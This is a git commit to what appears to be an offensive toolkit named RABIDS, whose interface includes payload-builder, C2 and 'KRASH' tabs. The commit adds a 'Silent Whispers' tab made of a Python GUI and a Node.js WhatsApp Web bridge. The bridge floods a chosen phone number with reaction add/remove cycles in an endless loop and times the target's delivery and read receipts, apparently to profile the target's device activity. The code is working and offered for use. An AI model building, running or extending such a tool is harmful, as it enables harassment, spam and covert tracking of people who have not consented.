Add WhatsApp bridge integration and update .gitignore

This commit is contained in:
Abdullah Sarwar
2025-12-07 21:21:51 +05:00
parent 5a2988fd7f
commit 1b1910bf80
6 changed files with 2372 additions and 1 deletions

1
.gitignore vendored
View File

@ -6,3 +6,4 @@ LOOT/payload.exe
LOOT/libssl-1_1-x64.dll
LOOT/libcrypto-1_1-x64.dll
LOOT/cacert.pem
node_modules

1335
TABS/whispers/package-lock.json generated Normal file

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,13 @@
{
"name": "rabids-whatsapp-bridge",
"version": "1.0.0",
"description": "WhatsApp Web bridge for RABIDS Silent Whispers",
"main": "whatsapp_bridge.js",
"dependencies": {
"whatsapp-web.js": "^1.23.0",
"qrcode-terminal": "^0.12.0"
},
"scripts": {
"start": "node whatsapp_bridge.js"
}
}

View File

@ -0,0 +1,643 @@
from PyQt5.QtWidgets import (
QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLineEdit,
QLabel, QGroupBox, QTextEdit, QComboBox, QSpinBox
)
from PyQt5.QtGui import QFont, QPixmap
from PyQt5.QtCore import Qt, QThread, pyqtSignal, QTimer
import os
import subprocess
import json
import time
# Try to import matplotlib for graphing
try:
import matplotlib
matplotlib.use('Qt5Agg')
from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas
from matplotlib.figure import Figure
MATPLOTLIB_AVAILABLE = True
except ImportError:
MATPLOTLIB_AVAILABLE = False
# WhatsApp Web Thread (Node.js Bridge)
class WhatsAppWebThread(QThread):
"""Thread for interacting with WhatsApp Web Node.js bridge"""
log_signal = pyqtSignal(str, str)
qr_signal = pyqtSignal(str)
status_signal = pyqtSignal(bool)
spam_data_signal = pyqtSignal(dict) # Signal for spam timing data
def __init__(self, script_dir):
super().__init__()
self.script_dir = script_dir
self.process = None
self.running = False
def run(self):
self.running = True
# Bridge script is now in the same directory as this file
bridge_script = os.path.join(os.path.dirname(__file__), 'whatsapp_bridge.js')
# Debug: Print node version and path
try:
node_version = subprocess.check_output(['node', '--version'], text=True).strip()
node_path = subprocess.check_output(['which', 'node'], text=True).strip()
self.log_signal.emit(f"[*] Node.js found: {node_version} at {node_path}", "system")
except Exception as e:
self.log_signal.emit(f"[Error] Check node failed: {e}", "error")
self.log_signal.emit(f"[*] Starting bridge script: {bridge_script}", "system")
# Use absolute path for CWD
cwd = os.path.dirname(bridge_script)
self.process = subprocess.Popen(
['node', bridge_script],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
bufsize=1,
cwd=cwd # Run from the script's directory
)
# Check for immediate failure
try:
time.sleep(1) # Wait a bit to see if it crashes
gone = self.process.poll()
if gone is not None:
stderr_output = self.process.stderr.read()
self.log_signal.emit(f"[Error] Process crashed (code {gone}): {stderr_output}", "error")
self.status_signal.emit(False)
return
except Exception as e:
self.log_signal.emit(f"[Error] Monitor failed: {e}", "error")
while self.running and self.process.poll() is None:
line = self.process.stdout.readline()
if not line:
break
try:
data = json.loads(line.strip())
self._handle_bridge_message(data)
except json.JSONDecodeError:
if line.strip():
self.log_signal.emit(f"[Bridge] {line.strip()}", "system")
self.log_signal.emit("[*] WhatsApp Web client stopped.", "system")
self.status_signal.emit(False)
def _handle_bridge_message(self, data):
msg_type = data.get('type')
message = data.get('message', '')
if msg_type == 'qr':
self.log_signal.emit(f"[*] {message}", "system")
self.qr_signal.emit(data.get('data'))
elif msg_type == 'ready':
self.log_signal.emit(f"[+] {message}", "success")
self.status_signal.emit(True)
elif msg_type == 'authenticated':
self.log_signal.emit(f"[+] {message}", "success")
elif msg_type == 'success':
self.log_signal.emit(f"[+] {message}", "success")
elif msg_type == 'error':
self.log_signal.emit(f"[-] {message}", "error")
elif msg_type == 'info':
self.log_signal.emit(f"[*] {message}", "system")
elif msg_type == 'status':
is_ready = data.get('ready', False)
self.status_signal.emit(is_ready)
elif msg_type == 'ack':
# Message ACK status update
ack = data.get('ack', 0)
ack_name = data.get('ackName', 'UNKNOWN')
time_formatted = data.get('timeSinceSentFormatted', '?')
if ack == 1: # Single tick
self.log_signal.emit(f"[✓] Single tick after {time_formatted}", "system")
elif ack == 2: # Double tick
self.log_signal.emit(f"[✓✓] Double tick after {time_formatted}", "success")
elif ack == 3: # Read
self.log_signal.emit(f"[✓✓] Read (blue tick) after {time_formatted}", "success")
elif ack == 4: # Played
self.log_signal.emit(f"[▶] Played after {time_formatted}", "success")
elif ack == -1: # Error
self.log_signal.emit(f"[✗] Message error after {time_formatted}", "error")
else:
self.log_signal.emit(f"[*] ACK {ack_name} after {time_formatted}", "system")
elif msg_type == 'ack_timing':
# Timing between single and double tick
single_tick_ms = data.get('singleTickMs', 0)
double_tick_ms = data.get('doubleTickMs', 0)
single_to_double_ms = data.get('singleToDoubleMs', 0)
self.log_signal.emit(f"[⏱] Timing: Single tick @ {single_tick_ms}ms → Double tick @ {double_tick_ms}ms", "system")
self.log_signal.emit(f"[⏱] Single→Double: {single_to_double_ms}ms ({single_to_double_ms/1000:.2f}s)", "success")
# Emit timing data for graphing
self.spam_data_signal.emit({
'type': 'ack_timing',
'singleTickMs': single_tick_ms,
'doubleTickMs': double_tick_ms,
'singleToDoubleMs': single_to_double_ms
})
elif msg_type == 'spam_start':
self.log_signal.emit(f"[🚀] {message}", "success")
self.spam_data_signal.emit({'type': 'spam_start', 'totalCount': data.get('totalCount', 0)})
elif msg_type == 'spam_iteration':
index = data.get('index', 0)
total = data.get('totalCount', 0)
send_time = data.get('sendTimeMs', 0)
react_add = data.get('reactionAddTimeMs', 0)
react_remove = data.get('reactionRemoveTimeMs', 0)
iteration_time = data.get('iterationTimeMs', 0)
self.log_signal.emit(f"[{index}/{total}] Send: {send_time}ms | React+: {react_add}ms | React-: {react_remove}ms | Total: {iteration_time}ms", "system")
# Emit data for graphing
self.spam_data_signal.emit({
'type': 'spam_iteration',
'index': index,
'sendTimeMs': send_time,
'reactionAddTimeMs': react_add,
'reactionRemoveTimeMs': react_remove,
'iterationTimeMs': iteration_time
})
elif msg_type == 'spam_complete':
self.log_signal.emit(f"[✅] {message}", "success")
self.spam_data_signal.emit({'type': 'spam_complete'})
elif msg_type == 'spam_error':
self.log_signal.emit(f"[❌] {message}", "error")
def send_command(self, command):
if self.process and self.process.poll() is None:
try:
self.process.stdin.write(json.dumps(command) + '\n')
self.process.stdin.flush()
except Exception as e:
self.log_signal.emit(f"[Error] Failed to send command: {e}", "error")
else:
self.log_signal.emit("[Error] WhatsApp client is not running.", "error")
def stop(self):
self.running = False
if self.process:
self.process.terminate()
try:
self.process.wait(timeout=2)
except subprocess.TimeoutExpired:
self.process.kill()
class SilentWhispersWidget(QWidget):
"""Silent Whispers - Clean WhatsApp Reaction Spam Tool"""
def __init__(self, script_dir, parent=None):
super().__init__(parent)
self.script_dir = script_dir
self.whatsapp_thread = None
self.is_spamming = False
self.spam_data = {'indices': [], 'iteration_times': []}
self.init_ui()
def init_ui(self):
main_layout = QVBoxLayout(self)
main_layout.setContentsMargins(15, 15, 15, 15)
main_layout.setSpacing(10)
# Fonts matching main app
title_font = QFont()
title_font.setBold(True)
title_font.setPointSize(12)
subtitle_font = QFont()
subtitle_font.setPointSize(10)
# ═══════════════════════════════════════════════════════════
# TOP SECTION: Connection + Controls
# ═══════════════════════════════════════════════════════════
top_section = QHBoxLayout()
top_section.setSpacing(15)
# ── LEFT: QR Code Area ──
qr_container = QVBoxLayout()
qr_container.setSpacing(8)
self.qr_label = QLabel("Scan QR Code")
self.qr_label.setAlignment(Qt.AlignCenter)
self.qr_label.setFixedSize(160, 160)
self.qr_label.setStyleSheet("""
QLabel {
border: 1px solid #2a2a2e;
border-radius: 10px;
background-color: #1D1D1F;
color: #666;
font-size: 11px;
}
""")
qr_container.addWidget(self.qr_label)
# Connection button
self.wa_web_btn = QPushButton("Start Client")
self.wa_web_btn.setFont(subtitle_font)
self.wa_web_btn.setFixedWidth(160)
self.wa_web_btn.clicked.connect(self.toggle_whatsapp_client)
qr_container.addWidget(self.wa_web_btn)
# Status indicator
self.wa_web_status = QLabel("Disconnected")
self.wa_web_status.setAlignment(Qt.AlignCenter)
self.wa_web_status.setStyleSheet("color: #FF3B30; font-size: 10px;")
qr_container.addWidget(self.wa_web_status)
top_section.addLayout(qr_container)
# ── RIGHT: Controls ──
controls_container = QVBoxLayout()
controls_container.setSpacing(8)
# Phone input
phone_label = QLabel("PHONE NUMBER")
phone_label.setFont(subtitle_font)
controls_container.addWidget(phone_label)
self.phone_input = QLineEdit()
self.phone_input.setPlaceholderText("923001234567")
self.phone_input.setFont(subtitle_font)
controls_container.addWidget(self.phone_input)
# Delay input row
delay_row = QHBoxLayout()
delay_label = QLabel("DELAY")
delay_label.setFont(subtitle_font)
self.spam_delay_input = QSpinBox()
self.spam_delay_input.setMinimum(50)
self.spam_delay_input.setMaximum(5000)
self.spam_delay_input.setValue(100)
self.spam_delay_input.setSuffix(" ms")
self.spam_delay_input.setFont(subtitle_font)
delay_row.addWidget(delay_label)
delay_row.addWidget(self.spam_delay_input, 1)
controls_container.addLayout(delay_row)
# Action buttons
btn_row = QHBoxLayout()
btn_row.setSpacing(8)
self.spam_btn = QPushButton("START SPAM")
self.spam_btn.setFont(subtitle_font)
self.spam_btn.clicked.connect(self.start_reaction_spam)
self.spam_btn.setStyleSheet("""
QPushButton {
background-color: #34C759;
color: white;
border-radius: 10px;
padding: 8px;
}
QPushButton:hover { background-color: #2DB84D; }
QPushButton:disabled { background-color: #1D1D1F; color: #555; }
""")
btn_row.addWidget(self.spam_btn)
self.stop_spam_btn = QPushButton("STOP SPAM")
self.stop_spam_btn.setFont(subtitle_font)
self.stop_spam_btn.clicked.connect(self.stop_reaction_spam)
self.stop_spam_btn.setEnabled(False)
self.stop_spam_btn.setStyleSheet("""
QPushButton {
background-color: #FF3B30;
color: white;
border-radius: 10px;
padding: 8px;
}
QPushButton:hover { background-color: #E0342B; }
QPushButton:disabled { background-color: #1D1D1F; color: #555; }
""")
btn_row.addWidget(self.stop_spam_btn)
controls_container.addLayout(btn_row)
# Mini log
self.log_output = QTextEdit()
self.log_output.setReadOnly(True)
self.log_output.setMaximumHeight(60)
self.log_output.setFont(subtitle_font)
self.log_output.setStyleSheet("""
QTextEdit {
background-color: #1D1D1F;
border-radius: 5px;
color: #888;
font-size: 9px;
padding: 4px;
}
""")
controls_container.addWidget(self.log_output)
top_section.addLayout(controls_container, 1)
main_layout.addLayout(top_section)
# ═══════════════════════════════════════════════════════════
# GRAPH SECTION: Full width
# ═══════════════════════════════════════════════════════════
if MATPLOTLIB_AVAILABLE:
self.figure = Figure(figsize=(8, 3), dpi=100, facecolor='#111113')
self.canvas = FigureCanvas(self.figure)
self.ax = self.figure.add_subplot(111)
self._style_graph()
self.figure.tight_layout(pad=2)
main_layout.addWidget(self.canvas, 1)
# Clear button
self.clear_graph_btn = QPushButton("Clear Graph")
self.clear_graph_btn.setFont(subtitle_font)
self.clear_graph_btn.clicked.connect(self.clear_graph)
main_layout.addWidget(self.clear_graph_btn)
else:
no_graph = QLabel("Install matplotlib for graph")
no_graph.setStyleSheet("color: #555;")
no_graph.setAlignment(Qt.AlignCenter)
main_layout.addWidget(no_graph)
# Hidden elements for compatibility
self.message_input = QTextEdit()
self.message_input.hide()
self.add_reaction_check = QComboBox()
self.add_reaction_check.addItems(["No Reaction", "True Reaction"])
self.add_reaction_check.hide()
self.send_btn = QPushButton()
self.send_btn.hide()
self.log_message("[+] Ready", "success")
def _style_graph(self):
"""Apply dark theme to graph matching main app"""
self.ax.set_facecolor('#1D1D1F')
self.ax.tick_params(colors='#666', labelsize=8)
self.ax.xaxis.label.set_color('#888')
self.ax.yaxis.label.set_color('#888')
self.ax.set_xlabel('Iteration', fontsize=9)
self.ax.set_ylabel('Time (ms)', fontsize=9)
for spine in self.ax.spines.values():
spine.set_color('#2a2a2e')
self.ax.grid(True, alpha=0.1, color='#444')
def log_message(self, message, msg_type="system"):
"""Add a message to the log output"""
color_map = {
"success": "#00B85B",
"error": "#FF3B30",
"system": "#00A9FD"
}
color = color_map.get(msg_type, "#e0e0e0")
self.log_output.append(f'<span style="color: {color};">{message}</span>')
# toggle_api_mode removed
def toggle_whatsapp_client(self):
"""Start or stop the WhatsApp Web client"""
if self.whatsapp_thread and isinstance(self.whatsapp_thread, WhatsAppWebThread) and self.whatsapp_thread.isRunning():
# Stop client
self.whatsapp_thread.stop()
self.whatsapp_thread.wait()
self.whatsapp_thread = None
self.wa_web_status.setText("Status: Stopped")
self.wa_web_btn.setText("Start WhatsApp Client")
self.wa_web_btn.setStyleSheet("")
self.qr_label.setText("Click Start to generate QR Code")
self.qr_label.setPixmap(QPixmap()) # Clear QR code
else:
# Start client
self.whatsapp_thread = WhatsAppWebThread(self.script_dir)
self.whatsapp_thread.log_signal.connect(self.log_message)
self.whatsapp_thread.qr_signal.connect(self.display_qr_code)
self.whatsapp_thread.status_signal.connect(self.update_client_status)
self.whatsapp_thread.spam_data_signal.connect(self.handle_spam_data)
self.whatsapp_thread.start()
self.wa_web_status.setText("Status: Starting...")
self.wa_web_btn.setText("Stop WhatsApp Client")
self.wa_web_btn.setStyleSheet("background-color: #d32f2f; color: white;")
def display_qr_code(self, qr_data):
"""Generate and display QR code from data"""
try:
import qrcode
from io import BytesIO
# Generate QR code image
qr = qrcode.QRCode(version=1, box_size=10, border=2)
qr.add_data(qr_data)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
# Convert to QPixmap using BytesIO (avoids ImageQt issues)
buffer = BytesIO()
img.save(buffer, format="PNG")
qim = QPixmap()
qim.loadFromData(buffer.getvalue(), "PNG")
# Scale to fit label
scaled_pixmap = qim.scaled(self.qr_label.size(), Qt.KeepAspectRatio, Qt.SmoothTransformation)
self.qr_label.setPixmap(scaled_pixmap)
self.qr_label.setText("") # Clear text
except Exception as e:
self.log_message(f"Error generating QR: {e}", "error")
self.qr_label.setText(f"Error: {str(e)}")
def update_client_status(self, is_ready):
if is_ready:
self.wa_web_status.setText("Status: Connected & Ready")
self.wa_web_status.setStyleSheet("color: #4caf50;")
self.qr_label.setText("Connected to WhatsApp Web")
self.qr_label.setPixmap(QPixmap())
else:
self.wa_web_status.setText("Status: Disconnected")
self.wa_web_status.setStyleSheet("color: #f44336;")
def send_whatsapp_message(self):
"""Send WhatsApp message using Node.js bridge"""
phone_number = self.phone_input.text().strip()
message = self.message_input.toPlainText().strip()
add_reaction = self.add_reaction_check.currentIndex()
# Validate inputs
if not phone_number:
self.log_message("[-] Phone number is required!", "error")
return
if not message:
self.log_message("[-] Message cannot be empty!", "error")
return
# Check if client is running and ready
if not self.whatsapp_thread or not isinstance(self.whatsapp_thread, WhatsAppWebThread) or not self.whatsapp_thread.isRunning():
self.log_message("[-] WhatsApp Web client is not running!", "error")
self.log_message("[*] Click 'Start WhatsApp Client' and scan the QR code first", "system")
return
self.send_btn.setText("SENDING...")
self.send_btn.setEnabled(False)
# Clear previous logs
self.log_output.clear()
# Format phone number for WhatsApp Web.js
formatted_number = phone_number
if not formatted_number.endswith("@c.us") and not formatted_number.endswith("@g.us"):
formatted_number = f"{formatted_number}@c.us"
self.log_message(f"[*] Sending message to {formatted_number}", "system")
# Send command to Node.js bridge
if add_reaction == 1: # Add reaction
self.whatsapp_thread.send_command({
"action": "sendMessageAndReact",
"chatId": formatted_number,
"message": message,
"emoji": "👍"
})
else:
self.whatsapp_thread.send_command({
"action": "sendMessage",
"chatId": formatted_number,
"message": message
})
# Re-enable button
QTimer.singleShot(1000, lambda: self.send_btn.setEnabled(True))
QTimer.singleShot(1000, lambda: self.send_btn.setText("SEND MESSAGE"))
def on_send_finished(self, success, message):
"""Handle completion of WhatsApp send operation"""
# This might not be needed anymore as feedback comes via bridge logs
pass
def get_settings(self):
"""Get current settings for saving"""
return {
'phone_number': self.phone_input.text(),
'message': self.message_input.toPlainText(),
'add_reaction': self.add_reaction_check.currentIndex()
}
def load_settings(self, settings):
"""Load settings from saved configuration"""
if 'phone_number' in settings:
self.phone_input.setText(settings['phone_number'])
if 'message' in settings:
self.message_input.setPlainText(settings['message'])
if 'add_reaction' in settings:
self.add_reaction_check.setCurrentIndex(settings['add_reaction'])
def toggle_reaction_spam(self):
"""Start or stop reaction spam"""
if self.is_spamming:
# Stop spam
self.stop_reaction_spam()
else:
# Start spam
self.start_reaction_spam()
def start_reaction_spam(self):
"""Start indefinite reaction spam on last message"""
phone_number = self.phone_input.text().strip()
delay = self.spam_delay_input.value()
# Validate inputs
if not phone_number:
self.log_message("[-] Phone number is required!", "error")
return
# Check if client is running and ready
if not self.whatsapp_thread or not isinstance(self.whatsapp_thread, WhatsAppWebThread) or not self.whatsapp_thread.isRunning():
self.log_message("[-] WhatsApp Web client is not running!", "error")
self.log_message("[*] Click 'Start Client' and scan QR code first", "system")
return
self.is_spamming = True
self.spam_btn.setText("SPAMMING...")
self.spam_btn.setEnabled(False)
self.stop_spam_btn.setEnabled(True)
# Clear previous logs and graph data
self.log_output.clear()
self.clear_graph()
# Format phone number for WhatsApp Web.js
formatted_number = phone_number
if not formatted_number.endswith("@c.us") and not formatted_number.endswith("@g.us"):
formatted_number = f"{formatted_number}@c.us"
self.log_message(f"[*] Starting reaction spam on {formatted_number}", "system")
self.log_message(f"[*] Delay: {delay}ms", "system")
# Send spam command to Node.js bridge
self.whatsapp_thread.send_command({
"action": "startReactionSpam",
"chatId": formatted_number,
"delayMs": delay,
"emoji": "thumbsup"
})
def stop_reaction_spam(self):
"""Stop the reaction spam"""
if self.whatsapp_thread and isinstance(self.whatsapp_thread, WhatsAppWebThread) and self.whatsapp_thread.isRunning():
self.whatsapp_thread.send_command({
"action": "stopReactionSpam"
})
self.is_spamming = False
self.spam_btn.setText("START SPAM")
self.spam_btn.setEnabled(True)
self.spam_btn.setStyleSheet("background-color: #34C759; color: white;")
self.stop_spam_btn.setEnabled(False)
self.send_btn.setEnabled(True)
def handle_spam_data(self, data):
"""Handle spam data for graphing"""
data_type = data.get('type')
if data_type == 'spam_start':
# Reset data for new spam session
self.spam_data = {
'indices': [],
'iteration_times': []
}
elif data_type == 'spam_iteration':
# Add iteration data - only track iteration time (purple line)
self.spam_data['indices'].append(data.get('index', 0))
self.spam_data['iteration_times'].append(data.get('iterationTimeMs', 0))
self.update_graph()
elif data_type == 'spam_stopped' or data_type == 'spam_stopping':
# Spam was stopped
self.is_spamming = False
self.spam_btn.setText("START SPAM")
self.spam_btn.setEnabled(True)
self.stop_spam_btn.setEnabled(False)
def update_graph(self):
"""Update the matplotlib graph with current data"""
if not MATPLOTLIB_AVAILABLE:
return
self.ax.clear()
self._style_graph()
indices = self.spam_data['indices']
if indices and self.spam_data['iteration_times']:
# Plot small dots only
self.ax.scatter(indices, self.spam_data['iteration_times'],
c='#FF6B9D', s=6, alpha=0.9, edgecolors='none', linewidths=0)
self.canvas.draw()
def clear_graph(self):
"""Clear the graph and reset data"""
self.spam_data = {
'indices': [],
'iteration_times': []
}
if MATPLOTLIB_AVAILABLE:
self.ax.clear()
self._style_graph()
self.canvas.draw()

View File

@ -0,0 +1,367 @@
const { Client, LocalAuth, MessageAck } = require('whatsapp-web.js');
const qrcode = require('qrcode-terminal');
const client = new Client({
authStrategy: new LocalAuth({
dataPath: './.wwebjs_auth'
}),
puppeteer: {
headless: true,
args: ['--no-sandbox', '--disable-setuid-sandbox']
}
});
let isReady = false;
let isSpamming = false;
// Track messages for ACK timing
const messageTracking = new Map();
// ACK status names for logging
const ackStatusNames = {
[-1]: 'ERROR',
[0]: 'PENDING (clock)',
[1]: 'SERVER (single tick ✓)',
[2]: 'DEVICE (double tick ✓✓)',
[3]: 'READ (blue tick)',
[4]: 'PLAYED'
};
// Listen for message ACK updates
client.on('message_ack', (message, ack) => {
const messageId = message.id._serialized;
const tracking = messageTracking.get(messageId);
if (tracking) {
const now = Date.now();
const timeSinceSent = now - tracking.sentAt;
const ackName = ackStatusNames[ack] || `UNKNOWN(${ack})`;
// Store timing for each ACK level
if (!tracking.ackTimes) tracking.ackTimes = {};
tracking.ackTimes[ack] = timeSinceSent;
console.log(JSON.stringify({
type: 'ack',
messageId: messageId,
ack: ack,
ackName: ackName,
timeSinceSentMs: timeSinceSent,
timeSinceSentFormatted: formatTime(timeSinceSent),
message: `Message ${ackName} after ${formatTime(timeSinceSent)}`
}));
// Calculate time between single and double tick
if (ack === 2 && tracking.ackTimes[1]) {
const singleToDouble = tracking.ackTimes[2] - tracking.ackTimes[1];
console.log(JSON.stringify({
type: 'ack_timing',
messageId: messageId,
singleTickMs: tracking.ackTimes[1],
doubleTickMs: tracking.ackTimes[2],
singleToDoubleMs: singleToDouble,
message: `Single→Double tick: ${formatTime(singleToDouble)}`
}));
}
// Clean up tracking after read/played (or after 5 minutes)
if (ack >= 3) {
messageTracking.delete(messageId);
}
}
});
function formatTime(ms) {
if (ms < 1000) return `${ms}ms`;
if (ms < 60000) return `${(ms / 1000).toFixed(2)}s`;
return `${(ms / 60000).toFixed(2)}min`;
}
client.on('qr', (qr) => {
// Send QR code to Python via stdout
qrcode.generate(qr, { small: true });
console.log(JSON.stringify({
type: 'qr',
data: qr,
message: 'Scan the QR code above with WhatsApp on your phone'
}));
});
client.on('ready', () => {
isReady = true;
console.log(JSON.stringify({
type: 'ready',
message: 'WhatsApp Web client is ready!'
}));
});
client.on('authenticated', () => {
console.log(JSON.stringify({
type: 'authenticated',
message: 'Authentication successful'
}));
});
client.on('auth_failure', (msg) => {
console.log(JSON.stringify({
type: 'error',
message: `Authentication failed: ${msg}`
}));
});
client.on('disconnected', (reason) => {
console.log(JSON.stringify({
type: 'disconnected',
message: `Client disconnected: ${reason}`
}));
isReady = false;
});
// Listen for commands from Python via stdin
process.stdin.on('data', async (data) => {
try {
const cmd = JSON.parse(data.toString().trim());
if (!isReady && cmd.action !== 'status') {
console.log(JSON.stringify({
type: 'error',
action: cmd.action,
message: 'Client not ready. Please wait for authentication.'
}));
return;
}
if (cmd.action === 'status') {
console.log(JSON.stringify({
type: 'status',
ready: isReady
}));
}
else if (cmd.action === 'sendMessage') {
const chatId = cmd.chatId;
const message = cmd.message;
const chat = await client.getChatById(chatId);
const sentAt = Date.now();
const sentMsg = await chat.sendMessage(message);
const messageId = sentMsg.id._serialized;
// Track this message for ACK timing
messageTracking.set(messageId, {
sentAt: sentAt,
chatId: chatId,
type: 'message'
});
console.log(JSON.stringify({
type: 'success',
action: 'sendMessage',
messageId: messageId,
sentAt: sentAt,
message: 'Message sent successfully - tracking ACK status...'
}));
}
else if (cmd.action === 'addReaction') {
const chatId = cmd.chatId;
const emoji = cmd.emoji || '👍';
const messageIndex = cmd.messageIndex || 0; // 0 = last message
const chat = await client.getChatById(chatId);
const messages = await chat.fetchMessages({ limit: messageIndex + 1 });
if (messages.length > messageIndex) {
await messages[messageIndex].react(emoji);
console.log(JSON.stringify({
type: 'success',
action: 'addReaction',
message: `Reaction ${emoji} added successfully`
}));
} else {
console.log(JSON.stringify({
type: 'error',
action: 'addReaction',
message: 'Message not found at specified index'
}));
}
}
else if (cmd.action === 'sendMessageAndReact') {
const chatId = cmd.chatId;
const message = cmd.message;
const emoji = cmd.emoji || '👍';
// Send the message first
const chat = await client.getChatById(chatId);
const sentAt = Date.now();
const sentMsg = await chat.sendMessage(message);
const messageId = sentMsg.id._serialized;
// Track this message for ACK timing
messageTracking.set(messageId, {
sentAt: sentAt,
chatId: chatId,
type: 'message'
});
// Wait a moment for the message to be registered
await new Promise(resolve => setTimeout(resolve, 500));
// Get the last message (which should be from the other person)
const messages = await chat.fetchMessages({ limit: 2 });
// React to the second-to-last message (skip the one we just sent)
if (messages.length >= 2) {
const reactionSentAt = Date.now();
await messages[1].react(emoji);
// Track reaction timing (reactions don't have ACK but we track when sent)
console.log(JSON.stringify({
type: 'success',
action: 'sendMessageAndReact',
messageId: messageId,
reactionTarget: messages[1].id._serialized,
message: `Message sent and reaction ${emoji} added - tracking ACK status...`
}));
} else {
console.log(JSON.stringify({
type: 'success',
action: 'sendMessageAndReact',
messageId: messageId,
message: 'Message sent (no previous message to react to) - tracking ACK status...'
}));
}
}
else if (cmd.action === 'startReactionSpam') {
const chatId = cmd.chatId;
const delayMs = cmd.delayMs || 100;
const emoji = cmd.emoji || '👍';
// Stop any existing spam
isSpamming = false;
await new Promise(resolve => setTimeout(resolve, 100));
const chat = await client.getChatById(chatId);
// Get the last message to react to
const messages = await chat.fetchMessages({ limit: 1 });
if (messages.length === 0) {
console.log(JSON.stringify({
type: 'error',
action: 'startReactionSpam',
message: 'No messages found in chat to react to'
}));
return;
}
const targetMessage = messages[0];
const targetMessageId = targetMessage.id._serialized;
console.log(JSON.stringify({
type: 'spam_start',
action: 'startReactionSpam',
targetMessageId: targetMessageId,
delayMs: delayMs,
message: `Starting reaction spam on message, ${delayMs}ms delay...`
}));
isSpamming = true;
let iteration = 0;
while (isSpamming) {
try {
iteration++;
const iterationStart = Date.now();
// Add reaction
const reactionAddStart = Date.now();
await targetMessage.react(emoji);
const reactionAddTime = Date.now() - reactionAddStart;
// Wait before removing
await new Promise(resolve => setTimeout(resolve, delayMs));
if (!isSpamming) break;
// Remove reaction
const reactionRemoveStart = Date.now();
await targetMessage.react('');
const reactionRemoveTime = Date.now() - reactionRemoveStart;
const iterationTime = Date.now() - iterationStart;
console.log(JSON.stringify({
type: 'spam_iteration',
index: iteration,
reactionAddTimeMs: reactionAddTime,
reactionRemoveTimeMs: reactionRemoveTime,
iterationTimeMs: iterationTime,
message: `[${iteration}] React+: ${reactionAddTime}ms, React-: ${reactionRemoveTime}ms, Total: ${iterationTime}ms`
}));
// Delay before next iteration
await new Promise(resolve => setTimeout(resolve, delayMs));
} catch (iterError) {
console.log(JSON.stringify({
type: 'spam_error',
index: iteration,
error: iterError.message,
message: `Error on iteration ${iteration}: ${iterError.message}`
}));
// Small delay before retry
await new Promise(resolve => setTimeout(resolve, 500));
}
}
console.log(JSON.stringify({
type: 'spam_stopped',
action: 'startReactionSpam',
totalIterations: iteration,
message: `Reaction spam stopped after ${iteration} iterations.`
}));
}
else if (cmd.action === 'stopReactionSpam') {
isSpamming = false;
console.log(JSON.stringify({
type: 'spam_stopping',
action: 'stopReactionSpam',
message: 'Stopping reaction spam...'
}));
}
else {
console.log(JSON.stringify({
type: 'error',
message: `Unknown action: ${cmd.action}`
}));
}
} catch (error) {
console.log(JSON.stringify({
type: 'error',
message: error.message,
stack: error.stack
}));
}
});
// Handle process termination
process.on('SIGINT', async () => {
console.log(JSON.stringify({
type: 'info',
message: 'Shutting down WhatsApp client...'
}));
await client.destroy();
process.exit(0);
});
// Initialize the client
console.log(JSON.stringify({
type: 'info',
message: 'Initializing WhatsApp Web client...'
}));
client.initialize();

14
main.py
View File

@ -15,6 +15,7 @@ from PyQt5.QtWidgets import (
import json
from PyQt5.QtGui import QFont, QPixmap, QMovie, QIcon
from PyQt5.QtCore import Qt, QThread, pyqtSignal, QObject, QTimer, QUrl
from TABS.whispers.silentwhispers import SilentWhispersWidget
ASCII = r"""
"""
@ -230,6 +231,7 @@ class RABIDSGUI(QMainWindow):
self.current_option_values = {}
self.module_options_group = None
self.loot_files_list = None
self.silent_whispers_widget = None
self.init_ui()
self.load_settings()
@ -854,11 +856,15 @@ class RABIDSGUI(QMainWindow):
settings_layout.addWidget(save_btn_container)
# Silent Whispers Tab
self.silent_whispers_widget = SilentWhispersWidget(self.script_dir)
self.tab_widget.addTab(builder_widget, "BUILDER")
self.tab_widget.addTab(output_widget, "OUTPUT")
self.tab_widget.addTab(c2_widget, "C2")
self.tab_widget.addTab(uncrash_widget, "KRASH")
self.tab_widget.addTab(garbage_collector_widget, "GARBAGE COLLECTOR")
self.tab_widget.addTab(self.silent_whispers_widget, "SILENT WHISPERS")
self.tab_widget.addTab(docs_widget, "DOCUMENTATION")
self.tab_widget.addTab(settings_widget, "SETTINGS")
self.update_loot_folder_view()
@ -1609,7 +1615,8 @@ class RABIDSGUI(QMainWindow):
},
"listener": {
"server_url": self.settings_server_url_edit.text()
}
},
"silent_whispers": self.silent_whispers_widget.get_settings() if self.silent_whispers_widget else {}
}
try:
with open(self.get_config_path(), 'w') as f:
@ -1650,6 +1657,11 @@ class RABIDSGUI(QMainWindow):
listener_cfg = config.get("listener", {})
self.settings_server_url_edit.setText(listener_cfg.get("server_url", "http://localhost:8080"))
# Load Silent Whispers settings
silent_whispers_cfg = config.get("silent_whispers", {})
if self.silent_whispers_widget and silent_whispers_cfg:
self.silent_whispers_widget.load_settings(silent_whispers_cfg)
except (json.JSONDecodeError, KeyError) as e:
print(f"Error loading settings from config file: {e}")